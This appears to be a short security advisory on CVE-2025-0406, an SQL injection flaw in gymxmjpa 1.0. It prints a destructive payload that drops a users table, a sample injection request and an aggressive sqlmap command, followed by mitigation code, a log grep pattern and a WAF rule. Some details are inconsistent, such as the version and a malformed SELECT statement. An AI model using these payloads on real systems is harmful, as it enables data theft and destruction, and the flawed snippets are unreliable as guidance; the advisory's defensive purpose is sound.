Liujianview Gymxmjpa 10, SQL Injection, CVE-2025-0406 (Critical)

The CVE-2025-0406 vulnerability in liujianview gymxmjpa 1.0 allows remote attackers to execute arbitrary SQL queries via the `subname` parameter in the `SubjectDaoImpl` class (SubjectController.java). The application fails to sanitize user-supplied input before concatenating it into SQL statements, leading to injection. Attackers can manipulate database operations, extract sensitive data, or escalate privileges. The flaw is exploitable without authentication, making it critical.

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Platform: Liujianview Gymxmjpa
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 01/12/2025

What Undercode Say:

Exploitation:

1. Craft malicious payload for `subname`:

' OR 1=1; DROP TABLE users;--

2. Send via HTTP request:

POST /gymxmjpa/subject HTTP/1.1
Host: target.com
subname=' OR 1=1--

Detection:

1. Use SQLmap:

sqlmap -u "http://target.com/gymxmjpa/subject?subname=test" --risk=3 --level=5

Mitigation:

1. Patch code with prepared statements:

String query = "SELECT FROM subjects WHERE subname = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, subname);

2. Input validation:

if (!subname.matches("[a-zA-Z0-9\s]+")) { throw new IllegalArgumentException(); }

Log Analysis:

1. Monitor logs for suspicious patterns:

grep -E "('|;|--|UNION)" /var/log/tomcat/access.log

WAF Rules:

1. Block SQL keywords in requests:

location /gymxmjpa {
if ($args ~ "('|;|UNION)") { return 403; }
}

Backup Restoration:

1. Recover compromised databases:

mysql -u root -p gymxmjpa < backup.sql